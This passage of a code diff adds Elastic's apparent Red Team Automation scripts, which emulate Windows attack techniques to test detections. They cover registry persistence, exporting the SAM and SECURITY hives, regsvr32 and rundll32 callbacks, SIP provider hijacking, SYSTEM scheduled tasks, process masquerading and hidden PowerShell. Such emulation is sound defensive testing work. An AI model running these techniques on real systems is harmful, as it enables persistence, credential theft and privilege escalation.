+ common.log("Must be run as a non-SYSTEM user", log_type="!")
+ return 1
+
+ # Remove any existing profiles
+ user_profile = os.environ['USERPROFILE']
+ log_file = os.path.join(user_profile, NAME + ".log")
+
+ # Remove log file if exists
+ common.remove_file(log_file)
+
+ common.log("Running VBS")
+ common.execute(["cscript.exe", VBS])
+
+ # Let the script establish persistence, then read the log file back
+ time.sleep(5)
+ common.print_file(log_file)
+ common.remove_file(log_file)
+
+ # Now trigger a 'logon' event which causes persistence to run
+ common.log("Simulating user logon and loading of profile")
+ # common.execute(["taskkill.exe", "/f", "/im", "explorer.exe"])
+ # time.sleep(2)
+
+ common.execute(["C:\\Windows\\System32\\userinit.exe"], wait=True)
+ common.execute(["schtasks.exe", "/run", "/tn", NAME])
+
+ # Wait for the "logon" to finish
+ time.sleep(30)
+ common.print_file(log_file)
+
+ # Now delete the user profile
+ common.log("Cleanup", log_type="-")
+ common.remove_file(log_file)
+ common.execute(["schtasks.exe", "/delete", "/tn", NAME, "/f"])
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/port_monitor.py b/rta/port_monitor.py
new file mode 100644
index 000000000..fbb8230ab
--- /dev/null
+++ b/rta/port_monitor.py
@@ -0,0 +1,26 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Privilege Escalation via Port Monitor Registration
+# RTA: port_monitor.py
+# ATT&CK: T1013
+# Description: Drops dummy DLL to Monitors registry path as non-system user, which would be executed with SYSTEM privs.
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("Writing registry key and dummy dll")
+
+ key = "System\\CurrentControlSet\\Control\\Print\\Monitors\\blah"
+ value = "test"
+ dll = "test.dll"
+
+ with common.temporary_reg(common.HKLM, key, value, dll):
+ pass
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/powershell_args.py b/rta/powershell_args.py
new file mode 100644
index 000000000..9c5cdfd0d
--- /dev/null
+++ b/rta/powershell_args.py
@@ -0,0 +1,42 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Powershell with Suspicious Arguments
+# RTA: powershell_args.py
+# ATT&CK: T1140
+# Description: Calls PowerShell with suspicious command line arguments.
+
+import base64
+import os
+
+from . import common
+
+
+def encode(command):
+ return base64.b64encode(command.encode('utf-16le'))
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("PowerShell Suspicious Commands")
+ temp_script = os.path.abspath("tmp.ps1")
+
+ # Create an empty script
+ with open(temp_script, "w") as f:
+ f.write("whoami.exe\nexit\n")
+
+ powershell_commands = [
+ ['powershell.exe', '-ExecutionPol', 'Bypass', temp_script],
+ ['powershell.exe', 'iex', 'Get-Process'],
+ ['powershell.exe', '-ec', encode('Get-Process' + ' ' * 1000)],
+ ]
+
+ for command in powershell_commands:
+ common.execute(command)
+
+ common.remove_file(temp_script)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/powershell_base64_gzip.py b/rta/powershell_base64_gzip.py
new file mode 100644
index 000000000..955404dc3
--- /dev/null
+++ b/rta/powershell_base64_gzip.py
@@ -0,0 +1,22 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: PowerShell with base64/gzip
+# RTA: powershell_base64_gzip.py
+# ATT&CK: T1140
+# Description: Calls PowerShell with command-line that contains base64/gzip
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("PowerShell with base64/gzip")
+
+ command = 'powershell.exe -noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(aaa)' # noqa: E501
+ common.execute(command)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/powershell_from_script.py b/rta/powershell_from_script.py
new file mode 100644
index 000000000..04a4ddfae
--- /dev/null
+++ b/rta/powershell_from_script.py
@@ -0,0 +1,38 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: PowerShell Launched from Script
+# RTA: powershell_from_script.py
+# ATT&CK: T1064, T1192, T1193
+# Description: Creates a javascript file that will launch powershell.
+
+import os
+import time
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ # Write script
+ script_file = os.path.abspath("launchpowershell.vbs")
+ script = """Set objShell = CreateObject("Wscript.shell")
+ objShell.run("powershell echo 'Doing evil things...'; sleep 3")
+ """
+ with open(script_file, 'w') as f:
+ f.write(script)
+
+ # Execute script
+ for proc in ["wscript", "cscript"]:
+ common.execute([proc, script_file])
+ time.sleep(3)
+
+ # Clean up
+ common.remove_file(script_file)
+
+ return common.SUCCESS
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/process_double_extension.py b/rta/process_double_extension.py
new file mode 100644
index 000000000..962cda58e
--- /dev/null
+++ b/rta/process_double_extension.py
@@ -0,0 +1,30 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Double Process Extension
+# RTA: process_double_extension.py
+# ATT&CK: T1036
+# Description: Create and run a process with a double extension.
+
+from . import common
+
+MY_APP = common.get_path("bin", "myapp_x64.exe")
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(MY_APP)
+def main():
+ anomalies = [
+ "test.txt.exe"
+ ]
+
+ for path in anomalies:
+ common.log("Masquerading process as %s" % path)
+ common.copy_file(MY_APP, path)
+ common.execute([path])
+ common.remove_file(path)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/process_extension_anomalies.py b/rta/process_extension_anomalies.py
new file mode 100644
index 000000000..8eb5dbb52
--- /dev/null
+++ b/rta/process_extension_anomalies.py
@@ -0,0 +1,36 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Executable with Unusual Extensions
+# RTA: process_extension_anomalies.py
+# ATT&CK: T1036
+# Description: Creates processes with anomalous extensions
+
+from . import common
+
+MY_APP = common.get_path("bin", "myapp.exe")
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(MY_APP)
+def main():
+ anomalies = [
+ "bad.pif",
+ "evil.cmd",
+ "evil.gif",
+ "bad.pdf",
+ "suspicious.bat",
+ "hiding.vbs",
+ "evil.xlsx"
+ ]
+
+ for path in anomalies:
+ common.log("Masquerading python as %s" % path)
+ common.copy_file(MY_APP, path)
+ common.execute([path])
+ common.remove_file(path)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/process_name_masquerade.py b/rta/process_name_masquerade.py
new file mode 100644
index 000000000..6e6069852
--- /dev/null
+++ b/rta/process_name_masquerade.py
@@ -0,0 +1,38 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Windows Core Process Masquerade
+# RTA: process_name_masquerade.py
+# ATT&CK: T1036
+# Description: Creates several processes which mimic core Windows process names but that are not those executables.
+
+import os
+
+from . import common
+
+MY_APP = common.get_path("bin", "myapp.exe")
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(MY_APP)
+def main():
+ masquerades = [
+ "svchost.exe",
+ "lsass.exe",
+ "services.exe",
+ "csrss.exe",
+ "smss.exe",
+ "wininit.exe",
+ "explorer.exe",
+ ]
+
+ for name in masquerades:
+ path = os.path.abspath(name)
+ common.copy_file(MY_APP, path)
+ common.execute(path, timeout=3, kill=True)
+ common.remove_file(path)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/recycle_bin_process.py b/rta/recycle_bin_process.py
new file mode 100644
index 000000000..9d114172a
--- /dev/null
+++ b/rta/recycle_bin_process.py
@@ -0,0 +1,53 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Run Process from the Recycle Bin
+# RTA: recycle_bin_process.py
+# ATT&CK: T1158
+# Description: Executes mock malware from the "C:\Recycler\" and "C:\$RECYCLE.BIN\" subdirectories.
+
+import os
+import time
+
+from . import common
+
+RECYCLE_PATHS = ["C:\\$Recycle.Bin", "C:\\Recycler"]
+TARGET_APP = common.get_path("bin", "myapp.exe")
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(TARGET_APP, common.CMD_PATH)
+def main():
+ common.log("Execute files from the Recycle Bin")
+ target_dir = None
+ for recycle_path in RECYCLE_PATHS:
+ if os.path.exists(recycle_path):
+ target_dir = common.find_writeable_directory(recycle_path)
+ if target_dir:
+ break
+
+ else:
+ common.log("Could not find a writeable directory in the recycle bin")
+ exit(1)
+
+ commands = [
+ [TARGET_APP],
+ [common.CMD_PATH, "/c", "echo hello world"],
+ ]
+
+ common.log("Running commands from recycle bin in %s" % target_dir)
+ for command in commands: # type: list[str]
+ source_path = command[0]
+ arguments = command[1:]
+
+ target_path = os.path.join(target_dir, "recycled_process.exe")
+ common.copy_file(source_path, target_path)
+ arguments.insert(0, target_path)
+ common.execute(arguments)
+ time.sleep(0.5)
+ common.remove_file(target_path)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/registry_hive_export.py b/rta/registry_hive_export.py
new file mode 100644
index 000000000..358894ebd
--- /dev/null
+++ b/rta/registry_hive_export.py
@@ -0,0 +1,30 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Export Registry Hives
+# RTA: registry_hive_export.py
+# ATT&CK: TBD
+# Description: Exports the SAM, SECURITY and SYSTEM hives - useful in credential harvesting and discovery attacks.
+
+import os
+
+from . import common
+
+REG = "reg.exe"
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ for hive in ["sam", "security", "system"]:
+ filename = os.path.abspath("%s.reg" % hive)
+ common.log("Exporting %s hive to %s" % (hive, filename))
+ common.execute([REG, "save", "hkey_local_machine\\%s" % hive, filename])
+ common.remove_file(filename)
+
+ common.execute([REG, "save", "hklm\\%s" % hive, filename])
+ common.remove_file(filename)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/registry_persistence_create.py b/rta/registry_persistence_create.py
new file mode 100644
index 000000000..afca975a6
--- /dev/null
+++ b/rta/registry_persistence_create.py
@@ -0,0 +1,94 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Registry persistence creation
+# RTA: registry_persistence_create.py
+# ATT&CK: T1015, T1103
+# Description: Creates registry persistence for mock malware in Run and RunOnce keys, Services, NetSH and debuggers.
+
+# TODO: Split into multiple files
+import time
+
+from . import common
+
+TARGET_APP = common.get_path("bin", "myapp.exe")
+
+
+def pause():
+ time.sleep(0.5)
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(TARGET_APP)
+def main():
+ common.log("Suspicious Registry Persistence")
+ winreg = common.get_winreg()
+
+ for hive in (common.HKLM, common.HKCU):
+ common.write_reg(hive, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\", "RunOnceTest", TARGET_APP)
+ common.write_reg(hive, "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "RunTest", TARGET_APP)
+
+ # create Services subkey for "ServiceTest"
+ common.log("Creating ServiceTest registry key")
+ hklm = winreg.HKEY_LOCAL_MACHINE
+ hkey = winreg.CreateKey(hklm, "System\\CurrentControlSet\\Services\\ServiceTest\\")
+
+ # create "ServiceTest" data values
+ common.log("Updating ServiceTest metadata")
+ winreg.SetValueEx(hkey, "Description", 0, winreg.REG_SZ, "A fake service")
+ winreg.SetValueEx(hkey, "DisplayName", 0, winreg.REG_SZ, "ServiceTest Service")
+ winreg.SetValueEx(hkey, "ImagePath", 0, winreg.REG_SZ, "c:\\ServiceTest.exe")
+ winreg.SetValueEx(hkey, "ServiceDLL", 0, winreg.REG_SZ, "C:\\ServiceTest.dll")
+
+ # modify contents of ServiceDLL and ImagePath
+ common.log("Modifying ServiceTest binary")
+ winreg.SetValueEx(hkey, "ImagePath", 0, winreg.REG_SZ, "c:\\ServiceTestMod.exe")
+ winreg.SetValueEx(hkey, "ServiceDLL", 0, winreg.REG_SZ, "c:\\ServiceTestMod.dll")
+
+ hkey.Close()
+ common.pause()
+
+ # delete Service subkey for "ServiceTest"
+ common.log("Removing ServiceTest", log_type="-")
+ hkey = winreg.CreateKey(hklm, "System\\CurrentControlSet\\Services\\")
+ winreg.DeleteKeyEx(hkey, "ServiceTest")
+
+ hkey.Close()
+ common.pause()
+
+ # Additional persistence
+ common.log("Adding AppInit DLL")
+ windows_base = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\"
+ common.write_reg(common.HKLM, windows_base, "AppInit_Dlls", "evil.dll", restore=True, pause=True)
+
+ common.log("Adding AppCert DLL")
+ appcertdlls_key = "System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls"
+ common.write_reg(common.HKLM, appcertdlls_key, "evil", "evil.dll", restore=True, pause=True)
+
+ debugger_targets = [
+ "normalprogram.exe", "sethc.exe", "utilman.exe", "magnify.exe",
+ "narrator.exe", "osk.exe", "displayswitch.exe", "atbroker.exe"
+ ]
+
+ for victim in debugger_targets:
+ common.log("Registering Image File Execution Options debugger for %s -> %s" % (victim, TARGET_APP))
+ base_key = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s" % victim
+ common.write_reg(common.HKLM, base_key, "Debugger", TARGET_APP, restore=True)
+
+ # create new NetSh key value
+ common.log("Adding a new NetSh Helper DLL")
+ key = "Software\\Microsoft\\NetSh"
+ common.write_reg(common.HKLM, key, "BadHelper", "c:\\windows\\system32\\BadHelper.dll")
+
+ # modify the list of SSPs
+ common.log("Adding a new SSP to the list of security packages")
+ key = "System\\CurrentControlSet\\Control\\Lsa"
+ common.write_reg(common.HKLM, key, "Security Packages", ["evilSSP"], common.MULTI_SZ, append=True, pause=True)
+
+ hkey.Close()
+ pause()
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/registry_rdp_enable.py b/rta/registry_rdp_enable.py
new file mode 100644
index 000000000..a7410205c
--- /dev/null
+++ b/rta/registry_rdp_enable.py
@@ -0,0 +1,27 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Enable RDP Through Registry
+# RTA: registry_rdp_enable.py
+# ATT&CK: T1076
+# Description: Identifies registry write modification to enable RDP access.
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("Enabling RDP Through Registry")
+
+ # get the current value
+ key = "System\\CurrentControlSet\\Control\\Terminal Server"
+ value = "fDenyTSConnections"
+
+ with common.temporary_reg(common.HKLM, key, value, 1, common.DWORD):
+ # while temporarily disabled, re-enable the service
+ common.write_reg(common.HKLM, key, value, 0, common.DWORD, restore=False)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/regsvr32_scrobj.py b/rta/regsvr32_scrobj.py
new file mode 100644
index 000000000..35dc00c67
--- /dev/null
+++ b/rta/regsvr32_scrobj.py
@@ -0,0 +1,31 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: RegSvr32 Backdoor with .sct Files
+# RTA: regsvr32_scrobj.py
+# ATT&CK: T1121, T1117, T1064
+# Description: Loads a .sct network callback with RegSvr32
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(common.get_path("bin", "notepad.sct"))
+def main():
+ common.log("RegSvr32 with .sct backdoor")
+ server, ip, port = common.serve_web()
+ common.clear_web_cache()
+
+ uri = 'bin/notepad.sct'
+ url = 'http://%s:%d/%s' % (ip, port, uri)
+
+ common.execute(["regsvr32.exe", "/u", "/n", "/s", "/i:%s" % url, "scrobj.dll"])
+ common.log("Killing all notepads to cleanup", "-")
+ common.execute(["taskkill", "/f", "/im", "notepad.exe"])
+
+ server.shutdown()
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/rundll32_inf_callback.py b/rta/rundll32_inf_callback.py
new file mode 100644
index 000000000..03ee8929d
--- /dev/null
+++ b/rta/rundll32_inf_callback.py
@@ -0,0 +1,40 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: RunDll32 with .inf Callback
+# RTA: rundll32_inf_callback.py
+# ATT&CK: T1105
+# Description: Loads RunDll32 with a suspicious .inf file that makes a local http GET
+
+import time
+
+from . import common
+
+INF_FILE = common.get_path("bin", "script_launch.inf")
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(INF_FILE)
+def main():
+ # http server will terminate on main thread exit
+ # if daemon is True
+ common.log("RunDLL32 with Script Object and Network Callback")
+ server, ip, port = common.serve_web()
+ callback = "http://%s:%d" % (ip, port)
+ common.clear_web_cache()
+
+ common.patch_regex(INF_FILE, common.CALLBACK_REGEX, callback)
+
+ rundll32 = "rundll32.exe"
+ dll_entrypoint = "setupapi.dll,InstallHinfSection"
+ common.execute([rundll32, dll_entrypoint, "DefaultInstall", "128", INF_FILE], shell=False)
+
+ time.sleep(1)
+ common.log("Cleanup", log_type="-")
+ common.execute(["taskkill", "/f", "/im", "notepad.exe"])
+ server.shutdown()
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/rundll32_javascript_callback.py b/rta/rundll32_javascript_callback.py
new file mode 100644
index 000000000..e30ff85e9
--- /dev/null
+++ b/rta/rundll32_javascript_callback.py
@@ -0,0 +1,33 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: RunDLL32 Javascript Callback
+# RTA: rundll32_javascript_callback.py
+# ATT&CK: T1085
+# Description: Executes javascript code with an AJAX call via RunDll32.exe
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("RunDLL32 with Javascript Callback")
+ server, ip, port = common.serve_web()
+ common.clear_web_cache()
+
+ url = "http://%s:%d" % (ip, port)
+ rundll32 = 'rundll32.exe'
+ js = """
+ 'javascript:"\..\mshtml,RunHTMLApplication ";'
+ 'var%20xhr=new%20ActiveXObject("Msxml2.XMLHttp.6.0");,'
+ 'xhr.open("GET", "{url}",false);xhr.send();'
+ """.format(url=url)
+ packed_js = ''.join(s.strip() for s in js.splitlines())
+
+ common.execute([rundll32, packed_js])
+ server.shutdown()
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/schtask_escalation.py b/rta/schtask_escalation.py
new file mode 100644
index 000000000..e999da911
--- /dev/null
+++ b/rta/schtask_escalation.py
@@ -0,0 +1,49 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Scheduled Task Privilege Escalation
+# RTA: schtask_escalation.py
+# ATT&CK: T1053
+
+import os
+import time
+
+from . import common
+
+
+def schtasks(*args, **kwargs):
+ return common.execute(['schtasks.exe'] + list(args), **kwargs)
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("Scheduled Task Privilege Escalation")
+
+ task_name = 'test-task-rta'
+ file_path = os.path.abspath('task.log')
+ command = "cmd.exe /c whoami.exe > " + file_path
+
+ # Delete the task if it exists
+ code, output = schtasks('/query', '/tn', task_name)
+ if code == 0:
+ schtasks('/delete', '/tn', task_name, '/f')
+
+ code, output = schtasks('/create', '/tn', task_name, '/ru', 'system', '/tr', command, '/sc', 'onlogon')
+ if code != 0:
+ common.log("Error creating task", log_type="!")
+ return
+
+ # Run the task and grab the file
+ code, output = schtasks('/run', '/tn', task_name)
+ if code == 0:
+ time.sleep(1)
+ common.print_file(file_path)
+ time.sleep(1)
+ common.remove_file(file_path)
+
+ schtasks('/delete', '/tn', task_name, '/f')
+
+
+if __name__ == "__main__":
+ main()
diff --git a/rta/scrobj_com_hijack.py b/rta/scrobj_com_hijack.py
new file mode 100644
index 000000000..f195b2851
--- /dev/null
+++ b/rta/scrobj_com_hijack.py
@@ -0,0 +1,26 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: COM Hijack via Script Object
+# RTA: scrobj_com_hijack.py
+# ATT&CK: T1122
+# Description: Modifies the Registry to create a new user-defined COM broker, "scrobj.dll".
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ key = "SOFTWARE\\Classes\\CLSID\\{00000000-0000-0000-0000-0000DEADBEEF}"
+ subkey = "InprocServer32"
+ value = ""
+ scrobj = "C:\\WINDOWS\\system32\\scrobj.dll"
+ key_path = key + "\\" + subkey
+
+ with common.temporary_reg(common.HKCU, key_path, value, scrobj, pause=True):
+ pass
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/secure_file_deletion.py b/rta/secure_file_deletion.py
new file mode 100644
index 000000000..3de40b15f
--- /dev/null
+++ b/rta/secure_file_deletion.py
@@ -0,0 +1,29 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+import os
+import subprocess
+import tempfile
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ temp_path = os.path.join(tempfile.gettempdir(), os.urandom(16).encode('hex'))
+ sdelete_path = common.get_path("bin", 'sdelete.exe')
+
+ try:
+ # Create a temporary file and close handles so it can be deleted
+ with open(temp_path, 'wb') as f_out:
+ f_out.write('A')
+
+ subprocess.check_call([sdelete_path, '/accepteula', temp_path])
+
+ finally:
+ common.remove_file(temp_path)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/settingcontentms_files.py b/rta/settingcontentms_files.py
new file mode 100644
index 000000000..77a6dcf91
--- /dev/null
+++ b/rta/settingcontentms_files.py
@@ -0,0 +1,24 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Abusing SettingContent-ms Files
+# RTA: settingcontentms_files.py
+# ATT&CK: T1193, T1204, T1064
+# Description: SettingContent-ms file written to specific path or by risky process
+
+import time
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ # Write to AppData\Local\
+ common.execute(['cmd', '/c', 'echo', 'test', '>', '%APPDATA%\\test.SettingContent-ms'])
+ time.sleep(1)
+ common.execute(['cmd', '/c', 'del', '%APPDATA%\\test.SettingContent-ms'])
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/sevenzip_encrypted.py b/rta/sevenzip_encrypted.py
new file mode 100644
index 000000000..455000fb5
--- /dev/null
+++ b/rta/sevenzip_encrypted.py
@@ -0,0 +1,55 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Encrypting files with 7zip
+# RTA: sevenzip_encrypted.py
+# ATT&CK: T1022
+# Description: Uses "bin\.exe" to perform encryption of archives and archive headers.
+
+import base64
+import os
+import sys
+
+from . import common
+
+SEVENZIP = common.get_path("bin", "7za.exe")
+
+
+def create_exfil(path=os.path.abspath("secret_stuff.txt")):
+ common.log("Writing dummy exfil to %s" % path)
+ with open(path, 'wb') as f:
+ f.write(base64.b64encode(b"This is really secret stuff\n" * 100))
+ return path
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(SEVENZIP)
+def main(password="s0l33t"):
+ # create 7z.exe with not-7zip name, and exfil
+ svnz2 = os.path.abspath("a.exe")
+ common.copy_file(SEVENZIP, svnz2)
+ exfil = create_exfil()
+
+ exts = ["7z", "zip", "gzip", "tar", "bz2", "bzip2", "xz"]
+ out_jpg = os.path.abspath("out.jpg")
+
+ for ext in exts:
+ # Write archive for each type
+ out_file = os.path.abspath("out." + ext)
+ common.execute([svnz2, "a", out_file, "-p" + password, exfil], mute=True)
+ common.remove_file(out_file)
+
+ # Write archive for each type with -t flag
+ if ext == "bz2":
+ continue
+
+ common.execute([svnz2, "a", out_jpg, "-p" + password, "-t" + ext, exfil], mute=True)
+ common.remove_file(out_jpg)
+
+ common.execute([SEVENZIP, "a", out_jpg, "-p" + password, exfil], mute=True)
+ common.remove_files(exfil, svnz2, out_jpg)
+
+
+if __name__ == "__main__":
+ exit(main(*sys.argv[1:]))
diff --git a/rta/shortcut_file_suspicious_process.py b/rta/shortcut_file_suspicious_process.py
new file mode 100644
index 000000000..e75c28cc9
--- /dev/null
+++ b/rta/shortcut_file_suspicious_process.py
@@ -0,0 +1,24 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Shortcut File Suspicious Process
+# RTA: shortcut_file_suspicious_process.py
+# ATT&CK: T1023,T1204,T1193,T1192
+# Description: Create a .lnk file using cmd.exe
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("Writing dummy shortcut file")
+ shortcut_path = 'C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\evil.lnk'
+ common.execute(['cmd', '/c', 'echo', 'dummy_shortcut', '>', shortcut_path])
+
+ common.log("Deleting dummy shortcut file")
+ common.remove_file(shortcut_path)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/sip_provider.py b/rta/sip_provider.py
new file mode 100644
index 000000000..56a1987fc
--- /dev/null
+++ b/rta/sip_provider.py
@@ -0,0 +1,62 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: SIP Provider Modification
+# RTA: sip_provider.py
+# ATT&CK: TBD
+# Description: Registers a mock SIP provider to bypass code integrity checks and execute mock malware.
+
+from . import common
+
+
+CRYPTO_ROOT = "SOFTWARE\\Microsoft\\Cryptography\\OID\\EncodingType 0"
+VERIFY_DLL_KEY = "%s\\CryptSIPDllVerifyIndirectData\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" % CRYPTO_ROOT
+GETSIG_KEY = "%s\\CryptSIPDllGetSignedDataMsg\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" % CRYPTO_ROOT
+
+
+def register_sip_provider(dll_path, verify_function, getsig_function):
+ winreg = common.get_winreg()
+ hkey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, VERIFY_DLL_KEY)
+
+ common.log("Setting verify dll path: %s" % dll_path)
+ winreg.SetValueEx(hkey, "Dll", 0, winreg.REG_SZ, dll_path)
+
+ common.log("Setting verify function name: %s" % verify_function)
+ winreg.SetValueEx(hkey, "FuncName", 0, winreg.REG_SZ, verify_function)
+
+ hkey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, GETSIG_KEY)
+
+ common.log("Setting getsig dll path: %s" % dll_path)
+ winreg.SetValueEx(hkey, "Dll", 0, winreg.REG_SZ, dll_path)
+
+ common.log("Setting getsig function name: %s" % getsig_function)
+ winreg.SetValueEx(hkey, "FuncName", 0, winreg.REG_SZ, getsig_function)
+
+
+if common.is_64bit():
+ SIGCHECK = common.get_path("bin", "sigcheck64.exe")
+ TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider64.dll")
+else:
+ SIGCHECK = common.get_path("bin", "sigcheck32.exe")
+ TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider32.dll")
+
+TARGET_APP = common.get_path("bin", "myapp.exe")
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(SIGCHECK, TRUST_PROVIDER_DLL, TARGET_APP)
+def main():
+ common.log("Registering SIP provider")
+ register_sip_provider(TRUST_PROVIDER_DLL, "VerifyFunction", "GetSignature")
+
+ common.log("Launching sigcheck")
+ common.execute([SIGCHECK, "-accepteula", TARGET_APP])
+
+ common.log("Cleaning up", log_type="-")
+ wintrust = "C:\\Windows\\System32\\WINTRUST.dll"
+ register_sip_provider(wintrust, "CryptSIPVerifyIndirectData", "CryptSIPGetSignedDataMsg")
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/smb_connection.py b/rta/smb_connection.py
new file mode 100644
index 000000000..b4024b337
--- /dev/null
+++ b/rta/smb_connection.py
@@ -0,0 +1,34 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Outbound SMB from a User Process
